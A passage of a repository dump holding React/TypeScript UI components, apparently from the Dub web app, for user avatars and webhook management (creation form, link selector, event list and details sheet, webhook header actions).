    "content": "\"use client\";\n\nimport { cn, hashStringSHA256 } from \"@dub/utils\";\nimport { useEffect, useState } from \"react\";\n\ntype User = {\n  id?: string | null | undefined;\n  name?: string | null | undefined;\n  email?: string | null | undefined;\n  image?: string | null | undefined;\n};\n\nexport async function getUserAvatarUrl(user?: User | null) {\n  if (user?.image) return user.image;\n\n  if (!user?.id) return \"https://api.dub.co/og/avatar\";\n\n  const ogAvatar = `https://api.dub.co/og/avatar/${user.id}`;\n\n  return user.email\n    ? `https://0.gravatar.com/avatar/${await hashStringSHA256(user.email)}?d=${ogAvatar}`\n    : ogAvatar;\n}\n\nexport function UserAvatar({\n  user = {},\n  className,\n}: {\n  user?: User;\n  className?: string;\n}) {\n  const [src, setSrc] = useState<string | null>(null);\n\n  useEffect(() => {\n    let cancelled = false;\n    getUserAvatarUrl(user).then((url) => {\n      if (!cancelled) setSrc(url);\n    });\n    return () => {\n      cancelled = true;\n    };\n  }, [user?.id, user?.email, user?.image]);\n\n  if (!user || !src) {\n    return (\n      <div\n        className={cn(\n          \"h-10 w-10 animate-pulse rounded-full border border-neutral-300 bg-neutral-100\",\n          className,\n        )}\n      />\n    );\n  }\n\n  return (\n    <img\n      alt={`Avatar for ${user.name || user.email}`}\n      referrerPolicy=\"no-referrer\"\n      src={src}\n      className={cn(\n        \"h-10 w-10 rounded-full border border-neutral-300\",\n        className,\n      )}\n      draggable={false}\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/users/user-row-item.tsx",
    "content": "import { UserSchema } from \"@/lib/zod/schemas/users\";\nimport { Tooltip } from \"@dub/ui\";\nimport { formatDate, formatDateTime, OG_AVATAR_URL } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\n\ntype UserProps = z.infer<typeof UserSchema>;\n\nexport function UserRowItem({\n  user,\n  date,\n  label,\n}: {\n  user: UserProps;\n  date: Date;\n  label: string;\n}) {\n  const image = user.image || `${OG_AVATAR_URL}${user.id}`;\n  const name = user.name ?? user.email ?? user.id;\n\n  return (\n    <Tooltip\n      content={\n        <div className=\"flex flex-col gap-1 p-2.5\">\n          {user && (\n            <div className=\"flex flex-col gap-2\">\n              <img\n                src={image}\n                alt={name}\n                className=\"size-6 shrink-0 rounded-full\"\n              />\n              <p className=\"text-sm font-medium\">{user.name}</p>\n            </div>\n          )}\n\n          <div className=\"text-xs text-neutral-500\">\n            {label}{\" \"}\n            <span className=\"font-medium text-neutral-700\">\n              {formatDateTime(date, {\n                month: \"short\",\n                day: \"numeric\",\n                year: \"numeric\",\n                hour: \"numeric\",\n                minute: \"numeric\",\n              })}\n            </span>\n          </div>\n        </div>\n      }\n    >\n      <div className=\"flex items-center gap-2\">\n        {user && (\n          <img\n            src={image}\n            alt={name}\n            className=\"size-5 shrink-0 rounded-full\"\n          />\n        )}\n\n        {formatDate(date, {\n          month: \"short\",\n          year: undefined,\n        })}\n      </div>\n    </Tooltip>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/webhooks/add-edit-webhook-form.tsx",
    "content": "\"use client\";\n\nimport { clientAccessCheck } from \"@/lib/client-access-check\";\nimport { EXTERNAL_PAYOUTS_PROGRAM_IDS } from \"@/lib/constants/program\";\nimport useProgram from \"@/lib/swr/use-program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { NewWebhook, WebhookProps } from \"@/lib/types\";\nimport {\n  LINK_LEVEL_WEBHOOK_TRIGGERS,\n  PROGRAM_LEVEL_WEBHOOK_TRIGGERS,\n  WEBHOOK_TRIGGER_DESCRIPTIONS,\n  WORKSPACE_LEVEL_WEBHOOK_TRIGGERS,\n} from \"@/lib/webhook/constants\";\nimport { Button, Checkbox, CopyButton, InfoTooltip } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useRouter } from \"next/navigation\";\nimport { FormEvent, useMemo, useState } from \"react\";\nimport { toast } from \"sonner\";\nimport { mutate } from \"swr\";\nimport { LinksSelector } from \"./link-selector\";\n\nconst defaultValues: NewWebhook = {\n  name: \"\",\n  url: \"\",\n  secret: \"\",\n  triggers: [],\n  linkIds: [],\n};\n\nexport default function AddEditWebhookForm({\n  webhook,\n  newSecret,\n}: {\n  webhook: WebhookProps | null;\n  newSecret?: string;\n}) {\n  const router = useRouter();\n  const { program } = useProgram();\n  const [saving, setSaving] = useState(false);\n  const {\n    id: workspaceId,\n    slug: workspaceSlug,\n    role,\n    defaultProgramId,\n  } = useWorkspace();\n\n  const [data, setData] = useState<NewWebhook | WebhookProps>(\n    webhook || {\n      ...defaultValues,\n      ...(newSecret && { secret: newSecret }),\n    },\n  );\n\n  const { error: permissionsError } = clientAccessCheck({\n    action: \"webhooks.write\",\n    role,\n  });\n\n  // Determine the endpoint\n  const endpoint = useMemo(() => {\n    if (webhook) {\n      return {\n        method: \"PATCH\",\n        url: `/api/webhooks/${webhook.id}?workspaceId=${workspaceId}`,\n        successMessage: \"Webhook updated!\",\n      };\n    } else {\n      return {\n        method: \"POST\",\n        url: `/api/webhooks?workspaceId=${workspaceId}`,\n        successMessage: \"Webhook created!\",\n      };\n    }\n  }, [webhook]);\n\n  // Save the form data\n  const onSubmit = async (e: FormEvent) => {\n    e.preventDefault();\n    setSaving(true);\n\n    const response = await fetch(endpoint.url, {\n      method: endpoint.method,\n      headers: {\n        \"Content-Type\": \"application/json\",\n      },\n      body: JSON.stringify(data),\n    });\n\n    setSaving(false);\n    const result = await response.json();\n\n    if (!response.ok) {\n      toast.error(result.error.message);\n      return;\n    }\n\n    if (endpoint.method === \"POST\") {\n      mutate(`/api/webhooks?workspaceId=${workspaceId}`);\n      router.push(`/${workspaceSlug}/settings/webhooks`);\n    } else {\n      mutate(`/api/webhooks/${result.id}?workspaceId=${workspaceId}`, result);\n    }\n\n    toast.success(endpoint.successMessage);\n  };\n\n  const { name, url, secret, triggers, linkIds = [] } = data;\n\n  const buttonDisabled = !name || !url || !triggers.length || saving;\n\n  const updateDisabled =\n    (webhook && webhook?.installationId !== null) || permissionsError !== false;\n\n  const disabledTooltip =\n    webhook && webhook?.installationId\n      ? `This webhook is managed by an integration.`\n      : permissionsError\n        ? permissionsError\n        : undefined;\n\n  const enableLinkSelection = LINK_LEVEL_WEBHOOK_TRIGGERS.some((trigger) =>\n    triggers.includes(trigger),\n  );\n\n  const availableWebhookTriggers = useMemo(\n    () => [\n      ...WORKSPACE_LEVEL_WEBHOOK_TRIGGERS,\n      ...(defaultProgramId\n        ? PROGRAM_LEVEL_WEBHOOK_TRIGGERS.filter(\n            (trigger) =>\n              trigger !== \"payout.confirmed\" ||\n              EXTERNAL_PAYOUTS_PROGRAM_IDS.includes(defaultProgramId),\n          )\n        : []),\n    ],\n    [defaultProgramId],\n  );\n\n  return (\n    <>\n      <form\n        onSubmit={onSubmit}\n        className=\"flex flex-col space-y-5 pb-20 text-left\"\n      >\n        <div>\n          <label htmlFor=\"name\" className=\"flex items-center space-x-2\">\n            <h2 className=\"text-sm font-medium text-neutral-900\">Name</h2>\n          </label>\n          <div className=\"relative mt-2 rounded-md shadow-sm\">\n            <input\n              className={cn(\n                \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                {\n                  \"cursor-not-allowed bg-neutral-50\": updateDisabled,\n                },\n              )}\n              required\n              value={name}\n              onChange={(e) => setData({ ...data, name: e.target.value })}\n              autoFocus\n              autoComplete=\"off\"\n              placeholder=\"Webhook name\"\n              disabled={updateDisabled}\n            />\n          </div>\n        </div>\n\n        <div>\n          <label htmlFor=\"url\" className=\"flex items-center space-x-2\">\n            <h2 className=\"text-sm font-medium text-neutral-900\">URL</h2>\n          </label>\n          <div className=\"relative mt-2 rounded-md shadow-sm\">\n            <input\n              className={cn(\n                \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                {\n                  \"cursor-not-allowed bg-neutral-50\": updateDisabled,\n                },\n              )}\n              required\n              value={url}\n              onChange={(e) => setData({ ...data, url: e.target.value })}\n              autoComplete=\"off\"\n              placeholder=\"Webhook URL\"\n              disabled={updateDisabled}\n            />\n          </div>\n        </div>\n\n        <div className=\"space-y-2\">\n          <label className=\"flex items-center space-x-2\">\n            <h2 className=\"text-sm font-medium text-neutral-900\">\n              Signing secret\n            </h2>\n            <InfoTooltip content=\"A secret token used to sign the webhook payload.\" />\n          </label>\n          <div className=\"flex items-center justify-between rounded-md border border-neutral-300 bg-white px-3 py-1\">\n            <p className=\"text-nowrap font-mono text-sm text-neutral-500\">\n              {secret}\n            </p>\n            <div className=\"flex flex-col gap-2\">\n              <CopyButton value={secret!} className=\"rounded-md\" />\n            </div>\n          </div>\n        </div>\n\n        <div className=\"rounded-md border border-neutral-200 p-4\">\n          <label htmlFor=\"triggers\" className=\"flex flex-col gap-1\">\n            <h2 className=\"text-sm font-medium text-neutral-900\">\n              Workspace level events\n            </h2>\n            <span className=\"text-xs text-neutral-500\">\n              These events are triggered at the workspace level.\n            </span>\n          </label>\n          <div className=\"mt-3 flex flex-col gap-2\">\n            {availableWebhookTriggers.map((trigger) => (\n              <div key={trigger} className=\"group flex gap-2\">\n                <Checkbox\n                  value={trigger}\n                  id={trigger}\n                  checked={triggers.includes(trigger)}\n                  disabled={updateDisabled}\n                  onCheckedChange={(checked) => {\n                    setData({\n                      ...data,\n                      triggers: checked\n                        ? [...triggers, trigger]\n                        : triggers.filter((t) => t !== trigger),\n                    });\n                  }}\n                />\n                <label\n                  htmlFor={trigger}\n                  className=\"select-none text-sm text-neutral-600 group-hover:text-neutral-800\"\n                >\n                  {WEBHOOK_TRIGGER_DESCRIPTIONS[trigger]}\n                </label>\n              </div>\n            ))}\n          </div>\n        </div>\n\n        <div className=\"rounded-md border border-neutral-200 p-4\">\n          <label htmlFor=\"triggers\" className=\"flex flex-col gap-1\">\n            <h2 className=\"text-sm font-medium text-neutral-900\">\n              Link level events{\" \"}\n              <span className=\"rounded bg-yellow-100 px-1 py-0.5 text-xs font-medium text-yellow-800\">\n                High traffic\n              </span>\n            </h2>\n            <span className=\"text-xs text-neutral-500\">\n              These events are triggered at the link level.\n            </span>\n          </label>\n          <div className=\"mt-3 flex flex-col gap-2\">\n            {LINK_LEVEL_WEBHOOK_TRIGGERS.map((trigger) => (\n              <div key={trigger} className=\"group flex gap-2\">\n                <Checkbox\n                  value={trigger}\n                  id={trigger}\n                  checked={triggers.includes(trigger)}\n                  disabled={updateDisabled}\n                  onCheckedChange={(checked) => {\n                    setData({\n                      ...data,\n                      triggers: checked\n                        ? [...triggers, trigger]\n                        : triggers.filter((t) => t !== trigger),\n                    });\n                  }}\n                />\n                <label\n                  htmlFor={trigger}\n                  className=\"flex select-none items-center gap-2 text-sm text-neutral-600 group-hover:text-neutral-800\"\n                >\n                  {WEBHOOK_TRIGGER_DESCRIPTIONS[trigger]}\n                </label>\n              </div>\n            ))}\n          </div>\n\n          {enableLinkSelection || linkIds.length ? (\n            <div className=\"mt-4\">\n              <h2 className=\"text-sm font-medium text-neutral-900\">\n                Choose links we should send events for\n              </h2>\n              <div className=\"mt-3\">\n                <LinksSelector\n                  selectedLinkIds={linkIds}\n                  setSelectedLinkIds={(ids) =>\n                    setData({\n                      ...data,\n                      linkIds: ids,\n                    })\n                  }\n                  disabled={updateDisabled}\n                />\n              </div>\n            </div>\n          ) : null}\n        </div>\n\n        <Button\n          text={webhook ? \"Save changes\" : \"Create webhook\"}\n          disabled={buttonDisabled || updateDisabled}\n          loading={saving}\n          type=\"submit\"\n          {...(disabledTooltip && {\n            disabledTooltip,\n          })}\n        />\n      </form>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/webhooks/link-selector.tsx",
    "content": "\"use client\";\n\nimport useLinks from \"@/lib/swr/use-links\";\nimport { LinkProps } from \"@/lib/types\";\nimport { Combobox, LinkLogo } from \"@dub/ui\";\nimport { cn, getApexDomain, linkConstructor, truncate } from \"@dub/utils\";\nimport { useMemo, useState } from \"react\";\nimport { useDebounce } from \"use-debounce\";\n\nconst MAX_DISPLAYED_LINKS = 10;\n\nconst getLinkOption = (link: LinkProps) => ({\n  value: link.id,\n  label: linkConstructor({ ...link, pretty: true }),\n  icon: (\n    <LinkLogo\n      apexDomain={getApexDomain(link.url)}\n      className=\"h-4 w-4 sm:h-4 sm:w-4\"\n    />\n  ),\n  meta: {\n    url: link.url,\n  },\n});\n\nexport function LinksSelector({\n  selectedLinkIds,\n  setSelectedLinkIds,\n  disabled,\n}: {\n  selectedLinkIds: string[];\n  setSelectedLinkIds: (ids: string[]) => void;\n  disabled?: boolean;\n}) {\n  const [search, setSearch] = useState(\"\");\n  const [debouncedSearch] = useDebounce(search, 500);\n\n  const { links } = useLinks(\n    {\n      search: debouncedSearch,\n    },\n    {\n      keepPreviousData: false,\n    },\n  );\n\n  const { links: selectedLinks } = useLinks({\n    linkIds: selectedLinkIds,\n  });\n\n  const options = useMemo(\n    () => links?.map((link) => getLinkOption(link)),\n    [links],\n  );\n\n  const selectedOptions = useMemo(\n    () =>\n      selectedLinkIds\n        .map((id) =>\n          [...(links || []), ...(selectedLinks || [])].find((l) => l.id === id),\n        )\n        .filter(Boolean)\n        .map((l) => getLinkOption(l as LinkProps)),\n    [selectedLinkIds, links, selectedLinks],\n  );\n\n  // Calculate how many additional links are not displayed:\n  const plusCount =\n    selectedLinkIds.length > selectedOptions.length\n      ? // Case 1: Selected IDs without loaded links\n        selectedLinkIds.length -\n        Math.min(selectedOptions.length, MAX_DISPLAYED_LINKS)\n      : // Case 2: More selected options than display limit\n        Math.max(0, selectedOptions.length - MAX_DISPLAYED_LINKS);\n\n  return (\n    <Combobox\n      multiple\n      caret\n      matchTriggerWidth\n      side=\"top\" // Since this control is near the bottom of the page, prefer top to avoid jumping\n      options={options}\n      selected={selectedOptions ?? []}\n      onSelect={({ value: id }) =>\n        setSelectedLinkIds(\n          selectedLinkIds.includes(id)\n            ? selectedLinkIds.filter((sid) => sid !== id)\n            : [...selectedLinkIds, id],\n        )\n      }\n      shouldFilter={false}\n      onSearchChange={setSearch}\n      buttonProps={{\n        disabled,\n        className: cn(\n          \"h-auto py-1.5 px-2.5 w-full max-w-full text-neutral-700 border-neutral-300 items-start\",\n        ),\n      }}\n    >\n      {selectedLinkIds.length === 0 ? (\n        <div className=\"py-0.5\">Select links...</div>\n      ) : selectedLinks && selectedOptions ? (\n        <div className=\"flex flex-wrap gap-2\">\n          {selectedOptions.slice(0, MAX_DISPLAYED_LINKS).map((option) => (\n            <span\n              key={option.value}\n              className=\"animate-fade-in flex min-w-0 items-center gap-1 rounded-md bg-neutral-100 px-1.5 py-1 text-xs text-neutral-600\"\n            >\n              <LinkLogo\n                apexDomain={getApexDomain(option.meta.url)}\n                className=\"size-3 shrink-0 sm:size-3\"\n              />\n              <span className=\"min-w-0 truncate\">\n                {truncate(option.label, 32)}\n              </span>\n            </span>\n          ))}\n          {plusCount > 0 && (\n            <span className=\"animate-fade-in flex rounded-md bg-neutral-100 px-1.5 py-1 text-xs font-medium text-neutral-600\">\n              + {plusCount} more\n            </span>\n          )}\n        </div>\n      ) : (\n        <div className=\"my-0.5 h-5 w-1/3 animate-pulse rounded bg-neutral-200\" />\n      )}\n    </Combobox>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/webhooks/loading-events-skelton.tsx",
    "content": "export const WebhookEventListSkeleton = () => {\n  return (\n    <div className=\"rounded-xl border border-neutral-200\">\n      <div className=\"flex flex-col divide-y divide-neutral-200\">\n        {[...Array(5)].map((_, index) => (\n          <div\n            className=\"flex items-center justify-between gap-5 px-3.5 py-4\"\n            key={index}\n          >\n            <div className=\"flex items-center gap-2.5 text-neutral-500\">\n              <div className=\"h-4 w-4 animate-pulse rounded-full bg-neutral-200\" />\n              <div className=\"h-4 w-28 animate-pulse rounded-full bg-neutral-200\" />\n            </div>\n          </div>\n        ))}\n      </div>\n    </div>\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/webhooks/no-events-placeholder.tsx",
    "content": "import { Webhook } from \"lucide-react\";\nimport EmptyState from \"../shared/empty-state\";\n\nexport const NoEventsPlaceholder = () => {\n  return (\n    <div className=\"rounded-xl border border-neutral-200 py-10\">\n      <EmptyState\n        icon={Webhook}\n        title=\"No events\"\n        description=\"No events have been logged for this webhook. Events will appear as they are logged.\"\n      />\n    </div>\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/webhooks/webhook-card.tsx",
    "content": "import useWorkspace from \"@/lib/swr/use-workspace\";\nimport { WebhookProps } from \"@/lib/types\";\nimport { TokenAvatar } from \"@/ui/token-avatar\";\nimport Link from \"next/link\";\nimport { WebhookStatus } from \"./webhook-status\";\n\nexport default function WebhookCard(webhook: WebhookProps) {\n  const { slug } = useWorkspace();\n\n  return (\n    <Link\n      href={`/${slug}/settings/webhooks/${webhook.id}`}\n      className=\"hover:drop-shadow-card-hover relative rounded-xl border border-neutral-200 bg-white px-5 py-4 transition-[filter]\"\n    >\n      <div className=\"flex items-center gap-x-3\">\n        <div className=\"flex-shrink-0 rounded-md border border-neutral-200 bg-gradient-to-t from-neutral-100 p-2.5\">\n          <TokenAvatar id={webhook.name} className=\"size-6\" />\n        </div>\n        <div className=\"overflow-hidden\">\n          <div className=\"flex items-center gap-1\">\n            <span className=\"font-semibold text-neutral-700\">\n              {webhook.name}\n            </span>\n            <WebhookStatus webhook={webhook} />\n          </div>\n          <div className=\"truncate text-sm text-neutral-500\">{webhook.url}</div>\n        </div>\n      </div>\n    </Link>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/webhooks/webhook-event-details-sheet.tsx",
    "content": "\"use client\";\n\nimport { WebhookEventProps } from \"@/lib/types\";\nimport { Button, ButtonTooltip, Sheet, useCopyToClipboard } from \"@dub/ui\";\nimport { Copy } from \"@dub/ui/icons\";\nimport { Dispatch, SetStateAction, useEffect, useState } from \"react\";\nimport type { HighlighterCore } from \"shiki\";\nimport { toast } from \"sonner\";\nimport { X } from \"../shared/icons\";\n\ninterface WebhookEventDetailsSheetProps {\n  isOpen: boolean;\n  setIsOpen: Dispatch<SetStateAction<boolean>>;\n  event: WebhookEventProps | null;\n}\n\nfunction WebhookEventDetailsSheetContent({\n  event,\n}: Omit<WebhookEventDetailsSheetProps, \"isOpen\" | \"setIsOpen\">) {\n  const [highlighter, setHighlighter] = useState<HighlighterCore | null>(null);\n  const [responseBody, setResponseBody] = useState(\"\");\n  const [requestBody, setRequestBody] = useState(\"\");\n\n  useEffect(() => {\n    import(\"shiki\").then(({ createHighlighter }) => {\n      createHighlighter({\n        themes: [\"min-light\"],\n        langs: [\"json\"],\n      }).then(setHighlighter);\n    });\n  }, []);\n\n  useEffect(() => {\n    if (!highlighter || !event) return;\n\n    const toHighlightedJson = (raw: string) => {\n      let value: unknown;\n      try {\n        value = JSON.parse(raw);\n      } catch {\n        value = raw;\n      }\n\n      const jsonStr = JSON.stringify(value, null, 2) ?? String(value);\n      return highlighter.codeToHtml(jsonStr, {\n        theme: \"min-light\",\n        lang: \"json\",\n      });\n    };\n\n    setResponseBody(toHighlightedJson(event.response_body));\n    setRequestBody(toHighlightedJson(event.request_body));\n  }, [highlighter, event]);\n\n  const [, copyToClipboard] = useCopyToClipboard();\n\n  if (!event) return null;\n\n  return (\n    <div className=\"flex size-full flex-col\">\n      <div className=\"p-6\">\n        <div className=\"flex items-start justify-between\">\n          <Sheet.Title className=\"text-lg font-semibold\">\n            {event.event}\n          </Sheet.Title>\n          <Sheet.Close asChild>\n            <Button\n              variant=\"outline\"\n              icon={<X className=\"size-5\" />}\n              className=\"h-auto w-fit p-1\"\n            />\n          </Sheet.Close>\n        </div>\n        <div className=\"group flex items-center gap-2\">\n          <p className=\"font-mono text-sm text-neutral-500\">{event.event_id}</p>\n          <ButtonTooltip\n            tooltipProps={{\n              content: \"Copy event ID\",\n            }}\n            onClick={() =>\n              toast.promise(copyToClipboard(event.event_id), {\n                success: \"Copied to clipboard\",\n              })\n            }\n          >\n            <Copy className=\"size-4 opacity-0 transition-opacity group-hover:opacity-100\" />\n          </ButtonTooltip>\n        </div>\n      </div>\n      <div className=\"scrollbar-hide flex min-h-0 flex-1 flex-col overflow-y-auto\">\n        <div className=\"grid gap-4 border-t border-neutral-200 bg-white p-6\">\n          <h4 className=\"font-semibold\">Response</h4>\n          <div className=\"flex items-center gap-8\">\n            <p className=\"text-sm text-neutral-500\">HTTP status code</p>\n            <p className=\"text-sm text-neutral-700\">{event.http_status}</p>\n          </div>\n          <div\n            className=\"shiki-wrapper overflow-y-scroll text-sm\"\n            dangerouslySetInnerHTML={{ __html: responseBody }}\n          />\n        </div>\n        <div className=\"grid gap-4 border-t border-neutral-200 bg-white p-6\">\n          <h4 className=\"font-semibold\">Request</h4>\n          <div\n            className=\"shiki-wrapper overflow-y-scroll text-sm\"\n            dangerouslySetInnerHTML={{ __html: requestBody }}\n          />\n        </div>\n      </div>\n    </div>\n  );\n}\n\nexport function WebhookEventDetailsSheet({\n  isOpen,\n  setIsOpen,\n  event,\n}: WebhookEventDetailsSheetProps) {\n  return (\n    <Sheet\n      open={isOpen}\n      onOpenChange={setIsOpen}\n      contentProps={{ className: \"md:w-[650px]\" }}\n    >\n      <WebhookEventDetailsSheetContent event={event} />\n    </Sheet>\n  );\n}\n\nexport function useWebhookEventDetailsSheet() {\n  const [isOpen, setIsOpen] = useState(false);\n  const [event, setEvent] = useState<WebhookEventProps | null>(null);\n\n  const openWithEvent = (e: WebhookEventProps) => {\n    setEvent(e);\n    setIsOpen(true);\n  };\n\n  return {\n    webhookEventDetailsSheet: event ? (\n      <WebhookEventDetailsSheet\n        event={event}\n        isOpen={isOpen}\n        setIsOpen={setIsOpen}\n      />\n    ) : null,\n    openWithEvent,\n  };\n}\n"
  },
  {
    "path": "apps/web/ui/webhooks/webhook-event-list.tsx",
    "content": "\"use client\";\n\nimport { WebhookEventProps } from \"@/lib/types\";\nimport { TimestampTooltip, Tooltip } from \"@dub/ui\";\nimport { CircleCheck, CircleHalfDottedClock } from \"@dub/ui/icons\";\nimport { formatDateTimeSmart } from \"@dub/utils\";\nimport { PropsWithChildren } from \"react\";\n\nexport type WebhookEventListProps = PropsWithChildren<{\n  events: WebhookEventProps[];\n  onEventClick: (event: WebhookEventProps) => void;\n}>;\n\nconst WebhookEventRow = ({\n  event,\n  onClick,\n}: {\n  event: WebhookEventProps;\n  onClick: () => void;\n}) => {\n  const isSuccess = event.http_status >= 200 && event.http_status < 300;\n\n  return (\n    <button\n      type=\"button\"\n      onClick={onClick}\n      className=\"flex items-center justify-between gap-5 px-3.5 py-3 hover:bg-neutral-50 focus:outline-none\"\n    >\n      <div className=\"flex items-center gap-5\">\n        <div className=\"flex items-center gap-2.5\">\n          <Tooltip\n            content={\n              isSuccess\n                ? \"This webhook was successfully delivered.\"\n                : \"This webhook failed to deliver – it will be retried.\"\n            }\n          >\n            <div>\n              {isSuccess ? (\n                <CircleCheck className=\"size-4 text-green-500\" />\n              ) : (\n                <CircleHalfDottedClock className=\"size-4 text-amber-500\" />\n              )}\n            </div>\n          </Tooltip>\n          <div className=\"text-sm text-neutral-500\">{event.http_status}</div>\n        </div>\n        <div className=\"text-sm text-neutral-500\">{event.event}</div>\n      </div>\n\n      <TimestampTooltip\n        timestamp={event.timestamp}\n        side=\"right\"\n        rows={[\"local\", \"utc\", \"unix\"]}\n      >\n        <div className=\"text-xs text-neutral-400\">\n          {formatDateTimeSmart(event.timestamp)}\n        </div>\n      </TimestampTooltip>\n    </button>\n  );\n};\n\nexport const WebhookEventList = ({\n  events,\n  onEventClick,\n}: WebhookEventListProps) => {\n  return (\n    <div className=\"overflow-hidden rounded-md border border-neutral-200\">\n      <div className=\"flex flex-col divide-y divide-neutral-200\">\n        {events.map((event) => (\n          <WebhookEventRow\n            key={event.event_id}\n            event={event}\n            onClick={() => onEventClick(event)}\n          />\n        ))}\n      </div>\n    </div>\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/webhooks/webhook-header.tsx",
    "content": "\"use client\";\n\nimport { enableOrDisableWebhook } from \"@/lib/actions/enable-disable-webhook\";\nimport { clientAccessCheck } from \"@/lib/client-access-check\";\nimport useWebhook from \"@/lib/swr/use-webhook\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { ThreeDots } from \"@/ui/shared/icons\";\nimport { TokenAvatar } from \"@/ui/token-avatar\";\nimport {\n  Button,\n  CircleCheck,\n  Copy,\n  MaxWidthWrapper,\n  Popover,\n  TabSelect,\n  useCopyToClipboard,\n} from \"@dub/ui\";\nimport { CircleX, Send, Trash } from \"lucide-react\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { redirect, useSelectedLayoutSegment } from \"next/navigation\";\nimport { useState } from \"react\";\nimport { toast } from \"sonner\";\nimport { useDeleteWebhookModal } from \"../modals/delete-webhook-modal\";\nimport { useSendTestWebhookModal } from \"../modals/send-test-webhook-modal\";\nimport { BackLink } from \"../shared/back-link\";\nimport { WebhookStatus } from \"./webhook-status\";\n\nexport default function WebhookHeader({ webhookId }: { webhookId: string }) {\n  const { webhook, isLoading, mutate } = useWebhook();\n  const { slug, id: workspaceId, role } = useWorkspace();\n  const [copiedWebhookId, copyToClipboard] = useCopyToClipboard();\n  const [openPopover, setOpenPopover] = useState(false);\n\n  const selectedLayoutSegment = useSelectedLayoutSegment();\n  const page = selectedLayoutSegment === null ? \"\" : selectedLayoutSegment;\n\n  const { DeleteWebhookModal, setDeleteWebhookModal } = useDeleteWebhookModal({\n    webhook,\n  });\n\n  const { SendTestWebhookModal, setShowSendTestWebhookModal } =\n    useSendTestWebhookModal({\n      webhook,\n    });\n\n  const { error: permissionsError } = clientAccessCheck({\n    action: \"webhooks.write\",\n    role,\n  });\n\n  const { execute, isPending } = useAction(enableOrDisableWebhook, {\n    onSuccess: async ({ data }) => {\n      await mutate();\n      toast.success(\n        data?.disabledAt ? \"Webhook disabled.\" : \"Webhook enabled.\",\n      );\n    },\n    onError: ({ error }) => {\n      toast.error(error.serverError);\n    },\n  });\n\n  if (!isLoading && !webhook) {\n    redirect(`/${slug}/settings/webhooks`);\n  }\n\n  const copyWebhookId = () => {\n    toast.promise(copyToClipboard(webhookId), {\n      success: \"Webhook ID copied!\",\n    });\n  };\n\n  const disabled =\n    webhook?.installationId !== null || permissionsError !== false;\n  const disabledTooltip = webhook?.installationId\n    ? `This webhook is managed by an integration.`\n    : permissionsError\n      ? permissionsError\n      : undefined;\n\n  return (\n    <>\n      <MaxWidthWrapper className=\"grid max-w-screen-lg gap-8\">\n        <SendTestWebhookModal />\n        <DeleteWebhookModal />\n        <BackLink href={`/${slug}/settings/webhooks`}>\n          Back to webhooks\n        </BackLink>\n        <div className=\"flex justify-between gap-8 sm:items-center\">\n          {isLoading || !webhook ? (\n            <div className=\"flex flex-col gap-3 sm:flex-row sm:items-center\">\n              <div className=\"w-fit flex-none rounded-md border border-neutral-200 bg-gradient-to-t from-neutral-100 p-2\">\n                <div className=\"size-8 rounded-full bg-neutral-100\" />\n              </div>\n              <div className=\"flex flex-col gap-2\">\n                <div className=\"h-5 w-28 rounded-full bg-neutral-100\"></div>\n                <div className=\"h-3 w-48 rounded-full bg-neutral-100\"></div>\n              </div>\n            </div>\n          ) : (\n            <div className=\"flex flex-col gap-3 sm:flex-row sm:items-center\">\n              <div className=\"w-fit flex-none rounded-md border border-neutral-200 bg-gradient-to-t from-neutral-100 p-2\">\n                <TokenAvatar id={webhook.id} className=\"size-8\" />\n              </div>\n              <div>\n                <div className=\"flex items-center gap-1\">\n                  <span className=\"font-semibold text-neutral-700\">\n                    {webhook.name}\n                  </span>\n                  <WebhookStatus webhook={webhook} />\n                </div>\n                <a\n                  href={webhook.url}\n                  target=\"_blank\"\n                  className=\"line-clamp-1 text-pretty break-all text-sm text-neutral-500 underline-offset-4 hover:text-neutral-700 hover:underline\"\n                >\n                  {webhook.url}\n                </a>\n              </div>\n            </div>\n          )}\n\n          <Popover\n            content={\n              <div className=\"w-screen sm:w-48\">\n                <div className=\"grid gap-px p-2\">\n                  <Button\n                    text=\"Copy Webhook ID\"\n                    variant=\"outline\"\n                    icon={\n                      copiedWebhookId ? (\n                        <CircleCheck className=\"h-4 w-4\" />\n                      ) : (\n                        <Copy className=\"h-4 w-4\" />\n                      )\n                    }\n                    className=\"h-9 justify-start px-2\"\n                    onClick={() => copyWebhookId()}\n                  />\n\n                  <Button\n                    text=\"Send test event\"\n                    variant=\"outline\"\n                    icon={<Send className=\"size-4\" />}\n                    className=\"h-9 justify-start px-2\"\n                    onClick={() => {\n                      setOpenPopover(false);\n                      setShowSendTestWebhookModal(true);\n                    }}\n                  />\n                </div>\n\n                <div className=\"h-px w-full bg-neutral-200\" />\n\n                <div className=\"grid gap-px p-2\">\n                  <Button\n                    text={\n                      webhook?.disabledAt ? \"Enable webhook\" : \"Disable webhook\"\n                    }\n                    variant=\"outline\"\n                    icon={\n                      webhook?.disabledAt ? (\n                        <CircleCheck className=\"size-4\" />\n                      ) : (\n                        <CircleX className=\"size-4\" />\n                      )\n                    }\n                    className=\"h-9 justify-start px-2\"\n                    onClick={async () => {\n                      if (\n                        !confirm(\n                          `Are you sure you want to ${\n                            webhook?.disabledAt ? \"enable\" : \"disable\"\n                          } this webhook?`,\n                        )\n                      ) {\n                        return;\n                      }\n\n                      execute({\n                        webhookId,\n                        workspaceId: workspaceId!,\n                      });\n                    }}\n                    disabled={disabled}\n                    disabledTooltip={disabledTooltip}\n                    loading={isPending}\n                  />\n\n                  <Button\n                    text=\"Delete webhook\"\n                    variant=\"danger-outline\"\n                    icon={<Trash className=\"size-4\" />}\n                    className=\"h-9 justify-start 